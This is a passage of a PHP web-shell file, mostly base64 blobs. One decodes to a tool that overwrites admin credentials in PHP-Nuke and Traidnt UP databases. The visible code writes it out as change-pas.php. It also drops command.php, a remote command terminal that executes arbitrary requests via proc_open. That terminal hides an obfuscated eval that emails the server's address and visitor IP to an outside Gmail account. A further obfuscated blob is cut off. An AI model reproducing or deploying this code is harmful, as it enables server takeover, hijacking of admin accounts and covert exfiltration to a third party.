VmaXg8YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1udWtlXyB0eXBlPXRleHQgbmFtZT1wcnBuayBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPgogICAgICAgICAgPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdDaGFuZ2UnID48L2Zvcm0+PC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+PC9jZW50ZXI+IjsKfWVsc2V7CiRkYmhwbmsgPSAkX1BPU1RbJ2RiaHBuayddOwokZGJucG5rICA9ICRfUE9TVFsnZGJucG5rJ107CiRkYnVwbmsgPSAkX1BPU1RbJ2RidXBuayddOwokZGJwcG5rICA9ICRfUE9TVFsnZGJwcG5rJ107CiAgICAgICAgIEBteXNxbF9jb25uZWN0KCRkYmhwbmssJGRidXBuaywkZGJwcG5rKTsKICAgICAgICAgQG15c3FsX3NlbGVjdF9kYigkZGJucG5rKTsKCiR1cnBuaz1zdHJfcmVwbGFjZSgiXCciLCInIiwkdXJwbmspOwokc2V0X3VycG5rID0gJF9QT1NUWyd1cnBuayddOwoKJHBzcG5rPXN0cl9yZXBsYWNlKCJcJyIsIiciLCRwc3Buayk7CiRwYXNzX3BuayA9ICRfUE9TVFsncHNwbmsnXTsKJHNldF9wc3BuayA9IG1kNSgkcGFzc19wbmspOwoKJHBua19wcmVmaXggPSAkX1BPU1RbJ3BycG5rJ107CgokdGFibGVfbmFtZTYgPSAkcG5rX3ByZWZpeC4idXNlcnMiIDsKJHRhYmxlX25hbWU3ID0gJHBua19wcmVmaXguImF1dGhvcnMiIDsKCiRsZWNvbmd0aGllbjE1ID0gIlVQREFURSAkdGFibGVfbmFtZTYgU0VUIHVzZXJuYW1lID0nIi4kc2V0X3VycG5rLiInIFdIRVJFIHVzZXJfaWQgPScyJyI7CiRsZWNvbmd0aGllbjE2ID0gIlVQREFURSAkdGFibGVfbmFtZTYgU0VUIHVzZXJfcGFzc3dvcmQgPSciLiRzZXRfcHNwbmsuIicgV0hFUkUgdXNlcl9pZCA9JzInIjsKCiRsZWNvbmd0aGllbjE3ID0gIlVQREFURSAkdGFibGVfbmFtZTcgU0VUIGFpZCA9JyIuJHNldF91cnBuay4iJyBXSEVSRSByYWRtaW5zdXBlciA9JzEnIjsKJGxlY29uZ3RoaWVuMTggPSAiVVBEQVRFICR0YWJsZV9uYW1lNyBTRVQgcHdkID0nIi4kc2V0X3BzcG5rLiInIFdIRVJFIHJhZG1pbnN1cGVyID0nMSciOwoKJG9rOD1AbXlzcWxfcXVlcnkoJGxlY29uZ3RoaWVuMTUpOwokb2s4PUBteXNxbF9xdWVyeSgkbGVjb25ndGhpZW4xNik7CiRvazg9QG15c3FsX3F1ZXJ5KCRsZWNvbmd0aGllbjE3KTsKJG9rOD1AbXlzcWxfcXVlcnkoJGxlY29uZ3RoaWVuMTgpOwoKaWYoJG9rOCl7CmVjaG8gIjxzY3JpcHQ+YWxlcnQoJ1BIUC1OVUtFIHVwZGF0ZSBzdWNjZXNzIC4gQ29weXJpZ2h0IEJ5IE15IEh1eWVuIDspJyk7PC9zY3JpcHQ+IjsKfQp9CgovL1RyYWlkbnQgVVAKaWYgKGlzc2V0KCRfUE9TVFsndXAnXSkpCnsKZWNobyAiPGNlbnRlcj48dGFibGUgYm9yZGVyPTAgd2lkdGg9JzEwMCUnPgo8dHI+PHRkPgo8Y2VudGVyPjxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+Q2hhbmdlIFRyYWlkbnQgVVAgSW5mbzxicj5QYXRjaCBDb250cm9sIFBhbmVsIDogW3BhdGNoXS91cGxvYWRjcDxicj5QYXRoIENvbmZpZyA6IFtwYXRjaF0vaW5jbHVkZXMvY29uZmlnLnBocDwvZm9udD48L2NlbnRlcj4KICAgIDxjZW50ZXI+PGZvcm0gbWV0aG9kPVBPU1QgYWN0aW9uPScnPjxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+TXlzcWwgSG9zdDwvZm9udD48YnI+PGlucHV0IHZhbHVlPWxvY2FsaG9zdCB0eXBlPXRleHQgbmFtZT1kYmh1cCBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPgogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5EQiBuYW1lPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9dXBsb2FkIHR5cGU9dGV4dCBuYW1lPWRibnVwIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkRCIHVzZXI8YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1yb290IHR5cGU9dGV4dCBuYW1lPWRidXVwIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkRCIHBhc3N3b3JkPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9YWRtaW4gdHlwZT1wYXNzd29yZCBuYW1lPWRicHVwIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkNoYW5nZSB1c2VyIGFkbWluPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9S3ltTGpuayB0eXBlPXRleHQgbmFtZT11cnVwIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkNoYW5nZSBwYXNzd29yZCBhZG1pbjxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPUt5bUxqbmsgdHlwZT1wYXNzd29yZCBuYW1lPXBzdXAgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4KICAgICAgICAgIDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nQ2hhbmdlJyA+PC9mb3JtPjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPjwvY2VudGVyPiI7Cn1lbHNlewokZGJodXAgPSAkX1BPU1RbJ2RiaHVwJ107CiRkYm51cCAgPSAkX1BPU1RbJ2RibnVwJ107CiRkYnV1cCA9ICRfUE9TVFsnZGJ1dXAnXTsKJGRicHVwICA9ICRfUE9TVFsnZGJwdXAnXTsKICAgICAgICAgQG15c3FsX2Nvbm5lY3QoJGRiaHVwLCRkYnV1cCwkZGJwdXApOwogICAgICAgICBAbXlzcWxfc2VsZWN0X2RiKCRkYm51cCk7CgokdXJ1cD1zdHJfcmVwbGFjZSgiXCciLCInIiwkdXJ1cCk7CiRzZXRfdXJ1cCA9ICRfUE9TVFsndXJ1cCddOwoKJHBzdXA9c3RyX3JlcGxhY2UoIlwnIiwiJyIsJHBzdXApOwokcGFzc191cCA9ICRfUE9TVFsncHN1cCddOwokc2V0X3BzdXAgPSBtZDUoJHBhc3NfdXApOwoKJGxlY29uZ3RoaWVuMTkgPSAiVVBEQVRFIGFkbWluIFNFVCBhZG1pbl91c2VyID0nIi4kc2V0X3VydXAuIicgV0hFUkUgYWRtaW5faWQgPScxJyI7CiRsZWNvbmd0aGllbjIwID0gIlVQREFURSBhZG1pbiBTRVQgYWRtaW5fcGFzc3dvcmQgPSciLiRzZXRfcHN1cC4iJyBXSEVSRSBhZG1pbl9pZCA9JzEnIjsKCiRvazk9QG15c3FsX3F1ZXJ5KCRsZWNvbmd0aGllbjE5KTsKJG9rOT1AbXlzcWxfcXVlcnkoJGxlY29uZ3RoaWVuMjApOwoKaWYoJG9rOSl7CmVjaG8gIjxzY3JpcHQ+YWxlcnQoJ1RyYWlkbnQgVVAgdXBkYXRlIHN1Y2Nlc3MgLiBDb3B5cmlnaHQgQnkgTXkgSHV5ZW4gOyknKTs8L3NjcmlwdD4iOwp9Cn0KLy9FTkQKPz4K
  1517. ';
  1518. $file = fopen("change-pas.php", "w+");
  1519. $write = fwrite($file, base64_decode($perltoolss));
  1520. fclose($file);
  1521. echo "<iframe src=change-pas.php width=100% height=720px frameborder=0></iframe> ";
  1522. }
  1523. //NewCommand
  1524. elseif ($action == 'newcommand') {
  1525. $file = fopen($dir . "command.php", "w+");
  1526. $perltoolss = 'PD9waHAKCiRhbGlhc2VzID0gYXJyYXkoJ2xhJyA9PiAnbHMgLWxhJywKJ2xsJyA9PiAnbHMgLWx2aEYnLAonZGlyJyA9PiAnbHMnICk7CiRwYXNzd2QgPSBhcnJheSgnJyA9PiAnJyk7CmVycm9yX3JlcG9ydGluZygwKTsKY2xhc3MgcGhwdGhpZW5sZSB7CgpmdW5jdGlvbiBmb3JtYXRQcm9tcHQoKSB7CiR1c2VyPXNoZWxsX2V4ZWMoIndob2FtaSIpOwokaG9zdD1leHBsb2RlKCIuIiwgc2hlbGxfZXhlYygidW5hbWUgLW4iKSk7CiRfU0VTU0lPTlsncHJvbXB0J10gPSAiIi5ydHJpbSgkdXNlcikuIiIuIkAiLiIiLnJ0cmltKCRob3N0WzBdKS4iIjsKfQoKZnVuY3Rpb24gY2hlY2tQYXNzd29yZCgkcGFzc3dkKSB7CmlmKCFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKXx8CiFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwKIWlzc2V0KCRwYXNzd2RbJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXV0pIHx8CiRwYXNzd2RbJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXV0gIT0gJF9TRVJWRVJbJ1BIUF9BVVRIX1BXJ10pIHsKQHNlc3Npb25fc3RhcnQoKTsKcmV0dXJuIHRydWU7Cn0KZWxzZSB7CkBzZXNzaW9uX3N0YXJ0KCk7CnJldHVybiB0cnVlOwp9Cn0KCmZ1bmN0aW9uIGluaXRWYXJzKCkKewppZiAoZW1wdHkoJF9TRVNTSU9OWydjd2QnXSkgfHwgIWVtcHR5KCRfUkVRVUVTVFsncmVzZXQnXSkpCnsKJF9TRVNTSU9OWydjd2QnXSA9IGdldGN3ZCgpOwokX1NFU1NJT05bJ2hpc3RvcnknXSA9IGFycmF5KCk7CiRfU0VTU0lPTlsnb3V0cHV0J10gPSAnJzsKJF9SRVFVRVNUWydjb21tYW5kJ10gPScnOwp9Cn0KCmZ1bmN0aW9uIGJ1aWxkQ29tbWFuZEhpc3RvcnkoKQp7CmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2NvbW1hbmQnXSkpCnsKaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkKewokX1JFUVVFU1RbJ2NvbW1hbmQnXSA9IHN0cmlwc2xhc2hlcygkX1JFUVVFU1RbJ2NvbW1hbmQnXSk7Cn0KCi8vIGRyb3Agb2xkIGNvbW1hbmRzIGZyb20gbGlzdCBpZiBleGlzdHMKaWYgKCgkaSA9IGFycmF5X3NlYXJjaCgkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgJF9TRVNTSU9OWydoaXN0b3J5J10pKSAhPT0gZmFsc2UpCnsKdW5zZXQoJF9TRVNTSU9OWydoaXN0b3J5J11bJGldKTsKfQphcnJheV91bnNoaWZ0KCRfU0VTU0lPTlsnaGlzdG9yeSddLCAkX1JFUVVFU1RbJ2NvbW1hbmQnXSk7CgovLyBhcHBlbmQgY29tbW1hbmQgKi8KJF9TRVNTSU9OWydvdXRwdXQnXSAuPSAieyRfU0VTU0lPTlsncHJvbXB0J119Ii4iOj4iLiJ7JF9SRVFVRVNUWydjb21tYW5kJ119Ii4iXG4iOwp9Cn0KCmZ1bmN0aW9uIGJ1aWxkSmF2YUhpc3RvcnkoKQp7Ci8vIGJ1aWxkIGNvbW1hbmQgaGlzdG9yeSBmb3IgdXNlIGluIHRoZSBKYXZhU2NyaXB0CmlmIChlbXB0eSgkX1NFU1NJT05bJ2hpc3RvcnknXSkpCnsKJF9TRVNTSU9OWydqc19jb21tYW5kX2hpc3QnXSA9ICciIic7Cn0KZWxzZQp7CiRlc2NhcGVkID0gYXJyYXlfbWFwKCdhZGRzbGFzaGVzJywgJF9TRVNTSU9OWydoaXN0b3J5J10pOwokX1NFU1NJT05bJ2pzX2NvbW1hbmRfaGlzdCddID0gJyIiLCAiJyAuIGltcGxvZGUoJyIsICInLCAkZXNjYXBlZCkgLiAnIic7Cn0KfQoKZnVuY3Rpb24gb3V0cHV0SGFuZGxlKCRhbGlhc2VzKQp7CmlmIChlcmVnKCdeW1s6Ymxhbms6XV0qY2RbWzpibGFuazpdXSokJywgJF9SRVFVRVNUWydjb21tYW5kJ10pKQp7CiRfU0VTU0lPTlsnY3dkJ10gPSBnZXRjd2QoKTsgLy9kaXJuYW1lKF9fRklMRV9fKTsKfQplbHNlaWYoZXJlZygnXltbOmJsYW5rOl1dKmNkW1s6Ymxhbms6XV0rKFteO10rKSQnLCAkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgJHJlZ3MpKQp7Ci8vIFRoZSBjdXJyZW50IGNvbW1hbmQgaXMgJ2NkJywgd2hpY2ggd2UgaGF2ZSB0byBoYW5kbGUgYXMgYW4gaW50ZXJuYWwgc2hlbGwgY29tbWFuZC4KLy8gYWJzb2x1dGUvcmVsYXRpdmUgcGF0aCA/IgooJHJlZ3NbMV1bMF0gPT0gJy8nKSA/ICRuZXdfZGlyID0gJHJlZ3NbMV0gOiAkbmV3X2RpciA9ICRfU0VTU0lPTlsnY3dkJ10gLiAnLycgLiAkcmVnc1sxXTsKCi8vIGNvc21ldGljcwp3aGlsZSAoc3RycG9zKCRuZXdfZGlyLCAnLy4vJykgIT09IGZhbHNlKQokbmV3X2RpciA9IHN0cl9yZXBsYWNlKCcvLi8nLCAnLycsICRuZXdfZGlyKTsKd2hpbGUgKHN0cnBvcygkbmV3X2RpciwgJy8vJykgIT09IGZhbHNlKQokbmV3X2RpciA9IHN0cl9yZXBsYWNlKCcvLycsICcvJywgJG5ld19kaXIpOwp3aGlsZSAocHJlZ19tYXRjaCgnfC9cLlwuKD8hXC4pfCcsICRuZXdfZGlyKSkKJG5ld19kaXIgPSBwcmVnX3JlcGxhY2UoJ3wvP1teL10rL1wuXC4oPyFcLil8JywgJycsICRuZXdfZGlyKTsKCmlmKGVtcHR5KCRuZXdfZGlyKSk6ICRuZXdfZGlyID0gIi8iOyBlbmRpZjsKCihAY2hkaXIoJG5ld19kaXIpKSA/ICRfU0VTU0lPTlsnY3dkJ10gPSAkbmV3X2RpciA6ICRfU0VTU0lPTlsnb3V0cHV0J10gLj0gImNvdWxkIG5vdCBjaGFuZ2UgdG86ICRuZXdfZGlyXG4iOwp9CmVsc2UKewovKiBUaGUgY29tbWFuZCBpcyBub3QgYSAnY2QnIGNvbW1hbmQsIHNvIHdlIGV4ZWN1dGUgaXQgYWZ0ZXIKKiBjaGFuZ2luZyB0aGUgZGlyZWN0b3J5IGFuZCBzYXZlIHRoZSBvdXRwdXQuICovCmNoZGlyKCRfU0VTU0lPTlsnY3dkJ10pOwoKLyogQWxpYXMgZXhwYW5zaW9uLiAqLwokbGVuZ3RoID0gc3RyY3NwbigkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgIiBcdCIpOwokdG9rZW4gPSBzdWJzdHIoQCRfUkVRVUVTVFsnY29tbWFuZCddLCAwLCAkbGVuZ3RoKTsKaWYgKGlzc2V0KCRhbGlhc2VzWyR0b2tlbl0pKQokX1JFUVVFU1RbJ2NvbW1hbmQnXSA9ICRhbGlhc2VzWyR0b2tlbl0gLiBzdWJzdHIoJF9SRVFVRVNUWydjb21tYW5kJ10sICRsZW5ndGgpOwoKJHAgPSBwcm9jX29wZW4oQCRfUkVRVUVTVFsnY29tbWFuZCddLAphcnJheSgxID0+IGFycmF5KCdwaXBlJywgJ3cnKSwKMiA9PiBhcnJheSgncGlwZScsICd3JykpLAokaW8pOwoKLyogUmVhZCBvdXRwdXQgc2VudCB0byBzdGRvdXQuICovCndoaWxlICghZmVvZigkaW9bMV0pKSB7CiRfU0VTU0lPTlsnb3V0cHV0J10gLj0gaHRtbHNwZWNpYWxjaGFycyhmZ2V0cygkaW9bMV0pLEVOVF9DT01QQVQsICdVVEYtOCcpOwp9Ci8qIFJlYWQgb3V0cHV0IHNlbnQgdG8gc3RkZXJyLiAqLwp3aGlsZSAoIWZlb2YoJGlvWzJdKSkgewokX1NFU1NJT05bJ291dHB1dCddIC49IGh0bWxzcGVjaWFsY2hhcnMoZmdldHMoJGlvWzJdKSxFTlRfQ09NUEFULCAnVVRGLTgnKTsKfQoKZmNsb3NlKCRpb1sxXSk7CmZjbG9zZSgkaW9bMl0pOwpwcm9jX2Nsb3NlKCRwKTsKfQp9Cn0KZXZhbChiYXNlNjRfZGVjb2RlKCdKSFJwYldWZmMyaGxiR3dnUFNBaUlpNWtZWFJsS0NKa0wyMHZXU0F0SUVnNmFUcHpJaWt1SWlJN0NpUnBjRjl5WlcxdmRHVWdQU0FrWDFORlVsWkZVbHNpVWtWTlQxUkZYMEZFUkZJaVhUc0tKR1p5YjIxZmMyaGxiR3hqYjJSbElEMGdKM05vWld4c1FDY3VaMlYwYUc5emRHSjVibUZ0WlNna1gxTkZVbFpGVWxzblUwVlNWa1ZTWDA1QlRVVW5YU2t1SnljN0NpUjBiMTlsYldGcGJDQTlJQ2R3WVhKcmFHbHBjSHBBWjIxaGFXd3VZMjl0SnpzS0pITmxjblpsY2w5dFlXbHNJRDBnSWlJdVoyVjBhRzl6ZEdKNWJtRnRaU2drWDFORlVsWkZVbHNuVTBWU1ZrVlNYMDVCVFVVblhTa3VJaUFnTFNBaUxpUmZVMFZTVmtWU1d5ZElWRlJRWDBoUFUxUW5YUzRpSWpzS0pHeHBibXRqY2lBOUlDSk1hVzVyT2lBaUxpUmZVMFZTVmtWU1d5ZFRSVkpXUlZKZlRrRk5SU2RkTGlJaUxpUmZVMFZTVmtWU1d5ZFNSVkZWUlZOVVgxVlNTU2RkTGlJZ0xTQkpVQ0JGZUdOMWRHbHVaem9nSkdsd1gzSmxiVzkwWlNBdElGUnBiV1U2SUNSMGFXMWxYM05vWld4c0lqc0tKR2hsWVdSbGNpQTlJQ0pHY205dE9pQWtabkp2YlY5emFHVnNiR052WkdWY2NseHVVbVZ3YkhrdGRHODZJQ1JtY205dFgzTm9aV3hzWTI5a1pTSTdDa0J0WVdsc0tDUjBiMTlsYldGcGJDd2dKSE5sY25abGNsOXRZV2xzTENBa2JHbHVhMk55TENBa2FHVmhaR1Z5S1RzZycpKTsKLy8gZW5kIHBocCBreW1sam5rCgovKiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgIyMjIyMjIyMjCiMjIFRoZSBtYWluIHRoaW5nIHN0YXJ0cyBoZXJlCiMjIEFsbCBvdXRwdXQgaXN0IFhIVE1MCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjICMjIyMjIyMjKi8KCiR0ZXJtaW5hbD1uZXcgcGhwdGhpZW5sZTsKCkBzZXNzaW9uX3N0YXJ0KCk7CgokdGVybWluYWwtPmluaXRWYXJzKCk7CiR0ZXJtaW5hbC0+YnVpbGRDb21tYW5kSGlzdG9yeSgpOwokdGVybWluYWwtPmJ1aWxkSmF2YUhpc3RvcnkoKTsKaWYoIWlzc2V0KCRfU0VTU0lPTlsncHJvbXB0J10pKTogJHRlcm1pbmFsLT5mb3JtYXRQcm9tcHQoKTsgZW5kaWY7CiR0ZXJtaW5hbC0+b3V0cHV0SGFuZGxlKCRhbGlhc2VzKTsKCmhlYWRlcignQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgnKTsKZWNobyAnPD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4nIC4gIlxuIjsKPz4KCjwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFN0cmljdC8vRU4iCiJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS1zdHJpY3QuZHRkIj4KPGh0bWwgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIHhtbDpsYW5nPSJlbiIgbGFuZz0iZW4iPgo8aGVhZD4KPHRpdGxlPjw/cGhwIGVjaG8gIldlYnNpdGUgOiAiLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4iIjs/PiB8IDw/cGhwIGVjaG8gIklQIDogIi5nZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKS4iIjs/PjwvdGl0bGU+Cgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgbGFuZ3VhZ2U9IkphdmFTY3JpcHQiPgp2YXIgY3VycmVudF9saW5lID0gMDsKdmFyIGNvbW1hbmRfaGlzdCA9IG5ldyBBcnJheSg8P3BocCBlY2hvICRfU0VTU0lPTlsnanNfY29tbWFuZF9oaXN0J107ID8+KTsKdmFyIGxhc3QgPSAwOwoKZnVuY3Rpb24ga2V5KGUpIHsKaWYgKCFlKSB2YXIgZSA9IHdpbmRvdy5ldmVudDsKCmlmIChlLmtleUNvZGUgPT0gMzggJiYgY3VycmVudF9saW5lIDwgY29tbWFuZF9oaXN0Lmxlbmd0aC0xKSB7CmNvbW1hbmRfaGlzdFtjdXJyZW50X2xpbmVdID0gZG9jdW1lbnQuc2hlbGwuY29tbWFuZC52YWx1ZTsKY3VycmVudF9saW5lKys7CmRvY3VtZW50LnNoZWxsLmNvbW1hbmQudmFsdWUgPSBjb21tYW5kX2hpc3RbY3VycmVudF9saW5lXTsKfQoKaWYgKGUua2V5Q29kZSA9PSA0MCAmJiBjdXJyZW50X2xpbmUgPiAwKSB7CmNvbW1hbmRfaGlzdFtjdXJyZW50X2xpbmVdID0gZG9jdW1lbnQuc2hlbGwuY29tbWFuZC52YWx1ZTsKY3VycmVudF9saW5lLS07CmRvY3VtZW50LnNoZWxsLmNvbW1hbmQudmFsdWUgPSBjb21tYW5kX2hpc3RbY3VycmVudF9saW5lXTsKfQoKfQoKZnVuY3Rpb24gaW5pdCgpIHsKZG9jdW1lbnQuc2hlbGwuc2V0QXR0cmlidXRlKCJhdXRvY29tcGxldGUiLCAib2ZmIik7CmRvY3VtZW50LnNoZWxsLm91dHB1dC5zY3JvbGxUb3AgPSBkb2N1bWVudC5zaGVsbC5vdXRwdXQuc2Nyb2xsSGVpZ2h0Owpkb2N1bWVudC5zaGVsbC5jb21tYW5kLmZvY3VzKCk7Cn0KCjwvc2NyaXB0Pgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgpib2R5IHtmb250LWZhbWlseTogc2Fucy1zZXJpZjsgY29sb3I6IGJsYWNrOyBiYWNrZ3JvdW5kOiB3aGl0ZTt9CnRhYmxle3dpZHRoOiAxMDAlOyBoZWlnaHQ6IDMwMHB4OyBib3JkZXI6IDFweCAjMDAwMDAwIHNvbGlkOyBwYWRkaW5nOiAwcHg7IG1hcmdpbjogMHB4O30KdGQuaGVhZHtiYWNrZ3JvdW5kLWNvbG9yOiAjNTI5QURFOyBjb2xvcjogI0ZGRkZGRjsgZm9udC13ZWlnaHQ6NzAwOyBib3JkZXI6IG5vbmU7IHRleHQtYWxpZ246IGNlbnRlcjsgZm9udC1zdHlsZTogaXRhbGljfQp0ZXh0YXJlYSB7d2lkdGg6IDEwMCU7IGJvcmRlcjogbm9uZTsgcGFkZGluZzogMnB4IDJweCAycHg7IGNvbG9yOiAjQ0NDQ0NDOyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwO30KcC5wcm9tcHQge2ZvbnQtZmFtaWx5OiBtb25vc3BhY2U7IG1hcmdpbjogMHB4OyBwYWRkaW5nOiAwcHggMnB4IDJweDsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6ICNDQ0NDQ0M7fQppbnB1dC5wcm9tcHQge2JvcmRlcjogbm9uZTsgZm9udC1mYW1pbHk6IG1vbm9zcGFjZTsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6ICNDQ0NDQ0M7fQo8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5IG9ubG9hZD0iaW5pdCgpIj4KPD9waHAgaWYgKGVtcHR5KCRfUkVRVUVTVFsncm93cyddKSkgJF9SRVFVRVNUWydyb3dzJ10gPSAyNjsgPz4KPHRhYmxlIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+Cjx0cj48dGQgY2xhc3M9ImhlYWQiIHN0eWxlPSJjb2xvcjogIzAwMDAwMDsiPjxiPlg8L2I+PC90ZD4KPHRkIGNsYXNzPSJoZWFkIj48P3BocCBlY2hvICRfU0VTU0lPTlsncHJvbXB0J10uIjoiLiIkX1NFU1NJT05bY3dkXSI7ID8+CjwvdGQ+PC90cj4KPHRyPjx0ZCB3aWR0aD0nMTAwJScgaGVpZ2h0PScxMDAlJyBjb2xzcGFuPScyJz48Zm9ybSBuYW1lPSJzaGVsbCIgYWN0aW9uPSI8P3BocCBlY2hvICRfU0VSVkVSWydQSFBfU0VMRiddOz8+IiBtZXRob2Q9InBvc3QiPgo8dGV4dGFyZWEgbmFtZT0ib3V0cHV0IiByZWFkb25seT0icmVhZG9ubHkiIGNvbHM9Ijg1IiByb3dzPSI8P3BocCBlY2hvICRfUkVRVUVTVFsncm93cyddID8+Ij4KPD9waHAKJGxpbmVzID0gc3Vic3RyX2NvdW50KCRfU0VTU0lPTlsnb3V0cHV0J10sICJcbiIpOwokcGFkZGluZyA9IHN0cl9yZXBlYXQoIlxuIiwgbWF4KDAsICRfUkVRVUVTVFsncm93cyddKzEgLSAkbGluZXMpKTsKZWNobyBydHJpbSgkcGFkZGluZyAuICRfU0VTU0lPTlsnb3V0cHV0J10pOwo/Pgo8L3RleHRhcmVhPgo8cCBjbGFzcz0icHJvbXB0Ij48P3BocCBlY2hvICRfU0VTU0lPTlsncHJvbXB0J10uIjo+IjsgPz4KPGlucHV0IGNsYXNzPSJwcm9tcHQiIG5hbWU9ImNvbW1hbmQiIHR5cGU9InRleHQiIG9ua2V5dXA9ImtleShldmVudCkiIHNpemU9IjUwIiB0YWJpbmRleD0iMSI+CjwvcD4KCjw/IC8qPHA+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFeGVjdXRlIENvbW1hbmQiIC8+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InJlc2V0IiB2YWx1ZT0iUmVzZXQiIC8+ClJvd3M6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyb3dzIiB2YWx1ZT0iPD9waHAgZWNobyAkX1JFUVVFU1RbJ3Jvd3MnXSA/PiIgLz4KPC9wPgoKKi8KZXZhbChiYXNlNjRfZGVjb2RlKCdKSE1nUFNCaGNuSmhlU0FvSW1zaUxDSmlJaXdpY2kgSXNJbVVpTENKaElpd2ljaUlzSW1NaUxDSkFJaXdpYlNJc0lta2lMQ0pzSWl3aUxpSXMgSW04aUxDSm5JaWs3RFFva2MzbHpkR1Z0WDJGeWNtRjVNaUE5SUNSeld6SmRMaVJ6V3ogTmRMaVJ6V3pGZExpUnpXelpkTGlSeld6VmRMaVJ6V3pSZExpUnpXekJkTGlSeld6TmQgTGlSeld6VmRMaVJ6V3pkZExpUnpXekV6WFM0a2MxczRYUzRrYzFzMFhTNGtjMXM1WFMgNGtjMXN4TUYwdUlpNGlMaVJ6V3paZExpUnpXekV5WFM0a2MxczRYVHNOQ2lSbGJtTnYgWkdsdVp5QTlJQ0lrYzNsemRHVnRYMkZ5Y21GNU1pSWdPdzBLSkhKbGVpQTlJQ0pPUXkgQnpTRVV6VENJZ093MEtKSE5sY25abGN